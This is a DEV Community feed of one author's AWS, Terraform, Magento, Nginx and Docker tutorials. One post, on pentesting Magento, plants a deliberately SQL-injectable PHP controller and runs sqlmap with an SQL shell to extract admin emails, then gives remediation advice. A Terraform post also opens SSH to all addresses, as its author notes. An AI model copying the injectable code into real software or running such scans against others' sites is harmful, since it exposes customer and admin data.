DEV Community: Rhuaridh

Aurora Serverless V1 to V2 Migration

Rhuaridh — Sun, 26 Feb 2023 19:31:49 +0000

Introduction

So you have been enjoying running your MySQL 5.7 compatible database in Aurora Serverless V1. It's serverless, so by definition you don't need to worry about servers. Right?

Well that story rings true right up until you want to upgrade your Aurora Serverless database to be compatible with MySQL 8.0, then you might notice the checkbox is mysteriously missing for 8.0.

Let me take you on a not-so-serverless upgrade journey!

Upgrade Map

First, take a look at my upgrade map:

That's right, in order to upgrade a serverless database we need to provision no fewer than 2 servers before making the switch back to serverless.

Step 1) Switch to Provisioned

First up, always take a snapshot. Who knows where this winding upgrade path will lead, so having a backup point is vital.

The snapshot can then be restored as a new provisioned cluster.

Step 2) Upgrade to MySQL 8.0

Provisioned clusters support both 5.7 and 8.0 compatible databases. So we can now modify the instance and select a version compatible with MySQL 8.0.

Why can't I upgrade from 5.7 to 8.0?

If you can see 8.0 as an option then skip this step. If not then read on!

Different minor version have different "valid" upgrades. While I'm not sure why AWS don't allow certain minor versions to upgrade to 8.0, what I do know is that you can use the following CLI calls to check.

For example, at the time of writing this 5.7.mysql_aurora.2.08.3 doesn't support an 8.0 upgrade. You can see this by running the following command and substituting your --engine-version.



aws rds describe-db-engine-versions --engine aurora-mysql \ 
  --engine-version 5.7.mysql_aurora.2.08.3 \
  --query 'DBEngineVersions[].ValidUpgradeTarget[].EngineVersion'
[]

But if we perform a minor upgrade to 5.7.mysql_aurora.2.09.2 first then we can upgrade to an 8.0 version.



aws rds describe-db-engine-versions --engine aurora-mysql </span>

  --engine-version 5.7.mysql_aurora.2.09.2 </span>

  --query 'DBEngineVersions[].ValidUpgradeTarget[].EngineVersion'

[

    "5.7.mysql_aurora.2.09.3",

    "5.7.mysql_aurora.2.10.0",

    "5.7.mysql_aurora.2.10.1",

    "5.7.mysql_aurora.2.10.2",

    "5.7.mysql_aurora.2.10.3",

    "5.7.mysql_aurora.2.11.0",

    "8.0.mysql_aurora.3.01.1",

    "8.0.mysql_aurora.3.02.0",

    "8.0.mysql_aurora.3.02.2"

]

Step 3) Switch to Serverless V2

Now that your provisioned cluster supports MySQL 8.0 you can finally select the upgrade the writer instance to be Serverless V2!

It only took 3+ database upgrades to perform one MySQL version jump.

Conclusion

Honestly, consider just spinning up a new V2 cluster and using mysqldump instead. This upgrade path is far too convoluted!

The only occasion where I would recommend this over the old-fashioned mysqldump approach is if your database sizes are too large to be quickly exported/imported.

Lambda Cron Example (Terraform)

Rhuaridh — Sat, 01 Oct 2022 15:59:26 +0000

Introduction

A common issue people experience when transitioning to serverless infrastructure is finding where to configure a cron.

During this article we will look at using EventBridge to trigger a lambda on a schedule. We will implement this using Terraform.

Setup Golang Lambda

I will gloss over the section of creating a lambda, as this is something I have covered in Golang and Python already.

For this example we will use a simple Golang Hello World example.

Create main.go, then add this golang snippet:

package main

import (
    "log"

    "context"

    "github.com/aws/aws-lambda-go/lambda"
)

func handler(ctx context.Context) error {
    log.Println("Golang Lambda executed via Eventbridge Cron")

    return nil
}

func main() {
    lambda.Start(handler)
}

Then we will run these CLI commands to create our .zip file:

# Initialise our golang project
go mod init example.com/demo
go get github.com/aws/aws-lambda-go/lambda

# If you are on a mac, let Go know you want linux
export GOOS=linux
export GOARCH=amd64
export CGO_ENABLED=0

# Build our lambda
go build -o hello

# Zip up our binary ready for terraform
zip -r function.zip hello

Setup Terraform

Create main.tf, then add this terraform snippet:

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 3.0"
    }
  }
}

# Configure the AWS Provider

provider "aws" {
  region = "eu-west-1"
}

This just lets terraform know that we want to use the AWS provider, and that we'll be working in the eu-west-1 region.

You can now run this from the CLI to initialise terraform:

terraform init

Create a Lambda in Terraform

Create lambda.tf, then add this terraform snippet:

# Create out lambda, using a locally sourced zip file
resource "aws_lambda_function" "demo_lambda_hello_world" {
  function_name = "demo-lambda-hello-world"
  role          = aws_iam_role.demo_lambda_role.arn
  package_type  = "Zip"
  handler       = "hello"
  runtime       = "go1.x"

  filename         = "function.zip"
  source_code_hash = filebase64sha256("function.zip")

  depends_on = [
    aws_iam_role.demo_lambda_role
  ]

  tags = {
    Name = "Demo Lambda Hello World"
  }
}

Create IAM Role for Lambda

Our lambda will need some basic permissions to work, these might look jarring at first but they are fairly straight forward once you read through them.

Essentially, this role will be assumed by our Lambda and give it access to write to Cloudwatch Logs.

Create iam.tf, then add this terraform snippet:

# Store the AWS account_id in a variable so we can reference it in our IAM policy
data "aws_caller_identity" "current" {}
data "aws_region" "current" {}

locals {
  account_id = data.aws_caller_identity.current.account_id
}

# Lambda IAM Role
resource "aws_iam_role" "demo_lambda_role" {
  name = "demo-lambda-role"

  assume_role_policy = jsonencode({
    "Version" : "2012-10-17",
    "Statement" : [
      {
        "Action" : "sts:AssumeRole",
        "Principal" : {
          "Service" : "lambda.amazonaws.com"
        },
        "Effect" : "Allow"
      }
    ]
  })

  inline_policy {
    name = "demo-lambda-policies"
    policy = jsonencode({
      "Version" : "2012-10-17",
      "Statement" : [
        {
          "Effect" : "Allow",
          "Action" : "logs:CreateLogGroup",
          "Resource" : "arn:aws:logs:${data.aws_region.current.name}:${local.account_id}:*"
        },
        {
          "Effect" : "Allow",
          "Action" : [
            "logs:CreateLogStream",
            "logs:PutLogEvents"
          ],
          "Resource" : [
            "arn:aws:logs:${data.aws_region.current.name}:${local.account_id}:log-group:/aws/lambda/*:*"
          ]
        }
      ]
    })
  }
}

Setup our Cron

Now that we have our lambda setup, we can set up the cron.

You can either use a cron, for example: cron(*/5 * * * ? *)
Or; you can use a rate, for example: rate(5 minutes)

Create eventbridge.tf, then add this terraform snippet:

# Create our schedule
resource "aws_cloudwatch_event_rule" "demo_lambda_every_5_minutes" {
  name                = "demo-lambda-every-5-minutes"
  description         = "Fires every 5 minutes"
  schedule_expression = "rate(5 minutes)"
}

# Trigger our lambda based on the schedule
resource "aws_cloudwatch_event_target" "trigger_lambda_on_schedule" {
  rule      = aws_cloudwatch_event_rule.demo_lambda_every_5_minutes.name
  target_id = "lambda"
  arn       = aws_lambda_function.demo_lambda_hello_world.arn
}

Add Lambda Permission

In order for our cron to work, we need to let our Lambda know that EventBridge is allowed to Invoke it.

Inside lambda.tf, add this terraform snippet:

resource "aws_lambda_permission" "allow_cloudwatch_to_call_split_lambda" {
  statement_id  = "AllowExecutionFromCloudWatch"
  action        = "lambda:InvokeFunction"
  function_name = aws_lambda_function.demo_lambda_hello_world.function_name
  principal     = "events.amazonaws.com"
  source_arn    = aws_cloudwatch_event_rule.demo_lambda_every_5_minutes.arn
}

Deploy Terraform

First, run

terraform plan

Now, once we're confident we can run:

terraform apply

This will now create the resources from the terraform files.

Confirm it's running

After it has been running for 5 minutes you can check the Cloudwatch Logs group to confirm it has been triggered.

To confirm it is working find your Lambda in the console, then select "Monitoring". You should now see your lambda running under "Recent invocations":

Cleanup

If you were just experimenting, remember you can destroy the resources when you're done by running:

terraform destroy

While Lambda's are cheap to invoke, it is always good to keep your account clean to avoid any unnecessary billing.

And that's it! You have now configured a Lambda cronjob using EventBridge.

Deploy a Golang Lambda

Rhuaridh — Sat, 06 Aug 2022 18:18:20 +0000

The Problem

Quite often we just want a simple way to build and deploy a Golang Lambda in AWS without using SAM or Serverless.

We will look at using the CLI to deploy a simple Golang lambda. This example will give us the building blocks to integrate this into a CI/CD pipeline later.

Video Walkthrough

The written instructions are below, but here is a quick video walkthrough showing how to deploy the Golang Lambda.

The Solution

1) Prerequisites

This article assumes you have these installed already:

Golang
AWS CLI
The jq package for parsing json
IAM permissions required to deploy the lambda

2) Create main.go file

Create a file called main.go in the root directory.

Here is a quick hello world script.

package main

import (
    "log"

    "context"

    "github.com/aws/aws-lambda-go/events"
    "github.com/aws/aws-lambda-go/lambda"
)

func handler(ctx context.Context, request events.APIGatewayProxyRequest) error {
    log.Println("HelloWorld from Golang Lambda")

    return nil
}

func main() {
    lambda.Start(handler)
}

3) Create Makefile

Create a file called Makefile in the root directory.

Please edit the parameters for function name and region

export GOOS=linux
export GOARCH=amd64
export CGO_ENABLED=0
.DEFAULT_GOAL := deploy

deploy:
    go build -o hello
    zip -r function.zip hello
    aws lambda update-function-code --function-name "BlogHelloWorldExample" --zip-file fileb://function.zip --region="eu-west-1" | jq .

Note: If you receive the error Makefile:6: *** missing separator. Stop., make sure to replace the spaces with tabs.

4) Install Golang Dependencies

You only need to do this step once:

go mod init example.com/demo
go get github.com/aws/aws-lambda-go/events
go get github.com/aws/aws-lambda-go/lambda

5) Run Makefile

Run the following CLI command to build, zip and deploy our example Lambda

make deploy

You should now see output similar to:

{
  "FunctionName": "BlogHelloWorldExample",
  "FunctionArn": "arn:aws:lambda:eu-west-1:xyz:function:BlogHelloWorldExample",
  "Runtime": "go1.x",
  "Role": "arn:aws:iam::xyz:role/service-role/BlogHelloWorldExample-role-xyz",
  "Handler": "hello",
  "CodeSize": xyz,
  "Description": "",
  "Timeout": 15,
  "MemorySize": 512,
  "LastModified": "2022-06-07T11:09:28.000+0000",
  "CodeSha256": "xyz",
  "Version": "$LATEST",
  "TracingConfig": {
    "Mode": "PassThrough"
  },
  "RevisionId": "xyz",
  "State": "Active",
  "LastUpdateStatus": "InProgress",
  "LastUpdateStatusReason": "The function is being created.",
  "LastUpdateStatusReasonCode": "Creating"
}

Summary

That's it! Your lambda should now be deployed. Hopefully this gives you a quick starting point for building your pipeline.

Terraform - Place your EC2 instance in a private subnet

Rhuaridh — Sun, 06 Mar 2022 13:52:33 +0000

The Problem

A regular problem in AWS is that everyone is too keen to get started. They use the default VPC provided and place everything inside the public subnet.

This might work for a basic web app. However, if we have an EC2 instance running a database or any other private resource then we need to find better ways to secure them.

The solution

We are going to look at using terraform to launch an AMI inside of a private subnet to stop external access.

We will utilise a NAT Gateway to allow the ec2 instance to connect outwards for security updates.

Create provider.tf

First up, let's create a provider.tf file to let terraform know we will be using the aws provider:

provider "aws" {
    region = "${var.AWS_REGION}"
}

Create vars.tf

You will notice above that we're already using a variables. Let's create our vars.tf file to store these.

variable "AWS_REGION" {    
    default = "eu-west-1"
}
variable "AMI" {
    type = map(string)

    default = {
        # For demo purposes only, we are using ubuntu for the web1 and db1 instances
        eu-west-1 = "ami-08ca3fed11864d6bb" # Ubuntu 20.04 x86
    }
}
variable "EC2_USER" {
    default = "ubuntu"
}
variable "PUBLIC_KEY_PATH" {
    default = "~/.ssh/id_rsa.pub" # Replace this with a path to your public key
}

Create vpc.tf

Next up, let's create our VPC that will contain one public subnet and one private subnet. We will create this inside of the eu-west-1a availability zone:

resource "aws_vpc" "prod-vpc" {
    cidr_block = "10.0.0.0/16"
    enable_dns_support = "true"
    enable_dns_hostnames = "true"

    tags = {
        Name = "prod-vpc"
    }
}

resource "aws_subnet" "prod-subnet-public-1" {
    vpc_id = "${aws_vpc.prod-vpc.id}"
    cidr_block = "10.0.1.0/24"
    map_public_ip_on_launch = "true" # This is what makes it a public subnet
    availability_zone = "eu-west-1a"
    tags = {
        Name = "prod-subnet-public-1"
    }
}

resource "aws_subnet" "prod-subnet-private-1" {
    vpc_id = "${aws_vpc.prod-vpc.id}"
    cidr_block = "10.0.2.0/24"
    availability_zone = "eu-west-1a"
    tags = {
        Name = "prod-subnet-private-1"
    }
}

Create network.tf

Now for the interesting part. We need to create the internet gateway, and the routes for subnets to communicate. Finally we will create the NAT Gateway.

# Add internet gateway
resource "aws_internet_gateway" "prod-igw" {
    vpc_id = "${aws_vpc.prod-vpc.id}"
    tags = {
        Name = "prod-igw"
    }
}

# Public routes
resource "aws_route_table" "prod-public-crt" {
    vpc_id = "${aws_vpc.prod-vpc.id}"

    route {
        cidr_block = "0.0.0.0/0" 
        gateway_id = "${aws_internet_gateway.prod-igw.id}" 
    }

    tags = {
        Name = "prod-public-crt"
    }
}
resource "aws_route_table_association" "prod-crta-public-subnet-1"{
    subnet_id = "${aws_subnet.prod-subnet-public-1.id}"
    route_table_id = "${aws_route_table.prod-public-crt.id}"
}

# Private routes
resource "aws_route_table" "prod-private-crt" {
    vpc_id = "${aws_vpc.prod-vpc.id}"

    route {
        cidr_block = "0.0.0.0/0"
        nat_gateway_id = "${aws_nat_gateway.prod-nat-gateway.id}" 
    }

    tags = {
        Name = "prod-private-crt"
    }
}
resource "aws_route_table_association" "prod-crta-private-subnet-1"{
    subnet_id = "${aws_subnet.prod-subnet-private-1.id}"
    route_table_id = "${aws_route_table.prod-private-crt.id}"
}

# NAT Gateway to allow private subnet to connect out the way
resource "aws_eip" "nat_gateway" {
    vpc = true
}
resource "aws_nat_gateway" "prod-nat-gateway" {
    allocation_id = aws_eip.nat_gateway.id
    subnet_id     = "${aws_subnet.prod-subnet-public-1.id}"

    tags = {
    Name = "VPC Demo - NAT"
    }

    # To ensure proper ordering, add Internet Gateway as dependency
    depends_on = [aws_internet_gateway.prod-igw]
}

Create security group

Then add security group. Please note this is very open, you should limit SSH access to your IP address.

# Security Group
resource "aws_security_group" "ssh-allowed" {
    vpc_id = "${aws_vpc.prod-vpc.id}"

    egress {
        from_port = 0
        to_port = 0
        protocol = -1
        cidr_blocks = ["0.0.0.0/0"]
    }
    ingress {
        from_port = 22
        to_port = 22
        protocol = "tcp"
        // Do not use this in production, should be limited to your own IP
        cidr_blocks = ["0.0.0.0/0"]
    }
    ingress {
        from_port = 80
        to_port = 80
        protocol = "tcp"
        cidr_blocks = ["0.0.0.0/0"]
    }
    tags = {
        Name = "ssh-allowed"
    }
}

Create ec2.tf

Now to create our sample web app. We will use an ubuntu 20.04 AMI for demo purposes.

resource "aws_instance" "web1" {
    ami = "${lookup(var.AMI, var.AWS_REGION)}"
    instance_type = "t2.micro"

    subnet_id = "${aws_subnet.prod-subnet-public-1.id}"
    vpc_security_group_ids = ["${aws_security_group.ssh-allowed.id}"]
    key_name = "${aws_key_pair.ireland-region-key-pair.id}"

    tags = {
        Name: "My VPC Demo 2"
    }
}
// Sends your public key to the instance
resource "aws_key_pair" "ireland-region-key-pair" {
    key_name = "ireland-region-key-pair"
    public_key = "${file(var.PUBLIC_KEY_PATH)}"
}

Create database.tf

We will also use a ubuntu 20.04 AMI to create a demo instance that will become our private database:

# This is just a mock example of a database to test out VPCs
resource "aws_instance" "db1" {
    ami = "${lookup(var.AMI, var.AWS_REGION)}"
    instance_type = "t2.micro"

    subnet_id = "${aws_subnet.prod-subnet-private-1.id}"
    vpc_security_group_ids = ["${aws_security_group.ssh-allowed.id}"]
    key_name = "${aws_key_pair.ireland-region-key-pair.id}"

    tags = {
        Name: "My VPC Demo DB"
    }
}

Summary

Now that we have our terraform infrastructure, we can initialise it by running:

terraform init

Next, we can review and launch it by running:

terraform plan
terraform apply

Important: the above commands will cause AWS to start billing you.

Then, once we're done testing. We can run:

terraform destroy

By utilising terraform we now have better boilerplate to let us get started quicker in future. This will heavily reduce the chances of private servers being exposed to the world.

Using Postman with dynamic bearer tokens the right way

Rhuaridh — Sun, 28 Nov 2021 16:11:46 +0000

The challenge

This article will focus on Magento, but it can apply to any API that uses a bearer token for authentication.

Magento's API uses an expiring bearer token for authorization. This means that you will need to routinely pull down a new bearer token in order to keep using the API.

This is a great security feature, but adds a layer of complexity when it comes to debugging the API locally.

I will show you the best way to dynamically retrieve the bearer token inside your postman request so that you can debug your API properly and unhindered.

Magento's API auth can be defined in three steps:

Use admin login details to fetch bearer token
Use bearer token to access all other protected API calls
Refresh bearer token as needed

Create a Magento admin user

So for this rest api we will be using a standard magento 2 admin account. So create an admin account and give it the required role to access the resources needed.

In my case I created a demo user:

demo
SomeUniquePasswordFrogApple12

And assigned the full Administrators role for simplicity. In a real world example you should give the API account the minimum access required.

Create new Environment called Magento2

Inside postman we need to create a new Environment. This is where we will configure all of our store specific variables.

| Variable         | Value                         |
| magento_token    |                               |
| magento_url      | https://your-store-url.com    |
| magento_username | demo                          |
| magento_password | SomeUniquePasswordFrogApple12 |

Now remember to click "Save" so that these variables can be used.

Create a postman request

Create a new Collection called Magento2, this is to organise our magento requests.

Within this collection we can create our first API request called "List Products"

Create a GET request with URL:

{{magento_url}}/rest/all/V1/products

Note that it uses our magento_url environment variable we configured earlier.

Add environment to our request

Make sure you add the Magento2 environment to this request so it can access our newly created variables.

Add query parameters

Since we are using the list product API call we need to add the required searchCriteria field.

Under Params, add:

| Variable                    | Value |
| searchCriteria[pageSize]    | 10    |
| searchCriteria[currentPage] | 1     |

Set up bearer token authorisation

Under Authorization, set type to Bearer Token

Then set the token value to:

{{magento_token}}

Because the bearer token will change over time we are using our magento_token environment variable here. We will configure this in the next section.

Your setup should look like this:

Configure dynamic bearer token

Now this is where the magic happens. Before every request to the API we will fetch a fresh bearer token from Magento so that it will always work.

Inside our List Products api request, we can add a "Pre-request Script" that will be executed before each request.

function getQueryString (obj) {
    return Object.keys(obj).map((key) => `${key}=${obj[key]}`).join('&');
}

const qs = {
    'username': postman.getEnvironmentVariable("magento_username"),
    'password': postman.getEnvironmentVariable("magento_password")
};

pm.sendRequest({
    url: postman.getEnvironmentVariable("magento_url") + '/rest/all/V1/integration/admin/token?' + getQueryString(qs),
    method: 'POST',
    header: {
        'content-type': 'application/json',
    },
}, function (err, res) {
    var magento_token = res.json();
    postman.setEnvironmentVariable("magento_token", magento_token);
});

If you read through the script you'll notice it uses our magento username and password env variables we configured earlier, then queries our Magento API's token endpoint and retrieves our bearer token and saves it as magento_token.

Your postman configuration should look like this:

Send request

And that's it! We can now click "Send" and we should retrieve a json response containing the first 10 products in the store:

{
    "items": [
        {
            "id": 1,
            "sku": "24-MB01",
            "name": "Joust Duffle Bag",
            "attribute_set_id": 15,
            "price": 34,
            ...
        },
        ...
    ],
    "search_criteria": {
        "filter_groups": [],
        "page_size": 10,
        "current_page": 1
    },
    "total_count": 2046
}

Closing thoughts

This is quick to set up, and quick to adapt to other platforms that use bearer tokens in their API.

If you are like me and work across a number of Magento stores daily, then you can configure multiple environments in postman this way and switch between them seamlessly.

Magento Tips - Pentest with sqlmap

Rhuaridh — Sat, 13 Nov 2021 17:12:05 +0000

Pentest Magento2

Magento 2 is popular and hard to upgrade. This creates the perfect breeding ground for insecure eCommerce stores which hackers love to exploit.

A common tool used by penetration testers to detect insecure sites is sqlmap.

In a nutshell, sqlmap is an open source tool that automates the process of detecting and exploiting SQL injection flaws.

Install sqlmap

First we need to install sqlmap locally, this assumes that you have python installed already.

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

It should go without saying that you should only ever use sqlmap against your own websites.

Create a sample SQL injection flaw to test

For testing purposes, on our local site we can create a SQL injection flaw to test this against. It is important that you never deploy this code live for obvious reasons.

In my case, I just added this to my test controller:

$connection = $this->_resourceConnection->getConnection();
$year = $_GET["year"] ?? 2021;
$rows = $connection->fetchAll("SELECT count(*) as total FROM sales_order WHERE created_at = $year");
$total = $rows[0]['total'] ?? 0;
echo "Hello World. There are $total orders on this site.";
exit;

As you can see we are bypassing the ORM, and failing to escape and validate the $year input variable. This should never be done - but yet it is not uncommon to see this in third party extensions.

Here is what our vulnerable extension looks like:

Finding a vulnerable parameter

Find our magento store url, I will use https://magento.rhuaridh.co.uk/

So on our local machine, we can now run sqlmap:

python3 sqlmap.py -u https://magento.rhuaridh.co.uk/helloworld/index/helloworld?year=2021 \
--dbms=mysql \
--sql-shell

This command will quickly identify that year is vulnerable. The --sql-shell will then open a shell for us to run queries in.

Retrieving data

For example, to pull a list of admin e-mail addresses you can run:

SELECT email FROM admin_user;

And that's it! That is how easy it is. We now have a list of all the admin e-mail addresses on the magento 2 store.

How do I stop SQL injection?

Always make sure you use the ORM, never pass a variable into a query string and always validate user supplied input. It's a simple as that!

Best practice exists for a reason.

Rate Limit specific URLs using Nginx

Rhuaridh — Tue, 09 Nov 2021 09:31:15 +0000

Why rate limit?

Rate limiting is a simple way of stopping users (hopefully just the bad ones!) from accessing more of your sites resources than you would like.

I will show you a simple way to rate limit specific URLs by using Nginx.

Video Walkthrough

The written instructions are below, but here is a quick video walkthrough showing how to apply rate limiting in Nginx.

How to add rate limiting in nginx

At the top of you nginx file, you can define a map like so:

limit_req_zone $binary_remote_addr_map zone=mylimit:10m rate=5r/s;
limit_req_status 429;

map $request_uri $binary_remote_addr_map {
    default "";
    ~^/what-is-new.html $binary_remote_addr;
    ~^/another-url-to-rate-limit.html $binary_remote_addr;
}

Then within your location block, add:

limit_req zone=mylimit;

And that's it! Now only webpages matching the $request_uri will have rate limiting applied. This is handy when you have all of your request being routed through a single place, but you only want to have specific pages on your site rate limited.

Docker Tips - UFW

Rhuaridh — Sun, 07 Nov 2021 09:22:30 +0000

Docker Tips - UFW

By default docker will override the "Uncomplicated Firewall" (UFW) rules, it is important to be aware of this so that you do not accidentally expose your docker containers to the world.

If you had UFW configured to block port 3000, then you would be forgiven for assuming our docker app would also be blocked.

docker run -d -p 3000:5000 training/webapp python app.py

However, docker adds rules to IP tables directly. This bypasses UFW which causes our app to be exposed to the world.

Two simple solutions

1) Bind port to localhost

The problem is that our port mapping tag exposes our app:

-p 3000:5000

Restricting access to localhost is a simple change:

-p 127.0.0.1:3000:5000

This binds port 5000 inside the container to port 3000 on the localhost or 127.0.0.1 interface on the host machine.

Our app is now blocked from external traffic!

2) Use external firewalls

GCP, AWS and even OVH all have external firewalls that sit infront of the server. Leveraging cloud based firewalls in addition to UFW is the best way to solve the issue.

DEV Community: Rhuaridh

Aurora Serverless V1 to V2 Migration

Introduction

Upgrade Map

Related Links

Step 1) Switch to Provisioned

Step 2) Upgrade to MySQL 8.0

Why can't I upgrade from 5.7 to 8.0?

Step 3) Switch to Serverless V2

Conclusion

Lambda Cron Example (Terraform)

Introduction

Setup Golang Lambda

Setup Terraform

Create a Lambda in Terraform

Create IAM Role for Lambda

Setup our Cron

Add Lambda Permission

Deploy Terraform

Confirm it's running

Cleanup

Deploy a Golang Lambda

The Problem

Video Walkthrough

The Solution

1) Prerequisites

2) Create main.go file

3) Create Makefile

4) Install Golang Dependencies

5) Run Makefile

Summary

Terraform - Place your EC2 instance in a private subnet

The Problem

The solution

Create provider.tf

Create vars.tf

Create vpc.tf

Create network.tf

Create security group

Create ec2.tf

Create database.tf

Summary

Using Postman with dynamic bearer tokens the right way

The challenge

Create a Magento admin user

Create new Environment called Magento2

Create a postman request

Add environment to our request

Add query parameters

Set up bearer token authorisation

Configure dynamic bearer token

Send request

Closing thoughts

Magento Tips - Pentest with sqlmap

Pentest Magento2

Install sqlmap

Create a sample SQL injection flaw to test

Finding a vulnerable parameter

Retrieving data

How do I stop SQL injection?

Rate Limit specific URLs using Nginx

Why rate limit?

Video Walkthrough

How to add rate limiting in nginx

Docker Tips - UFW

Docker Tips - UFW

Two simple solutions

1) Bind port to localhost

2) Use external firewalls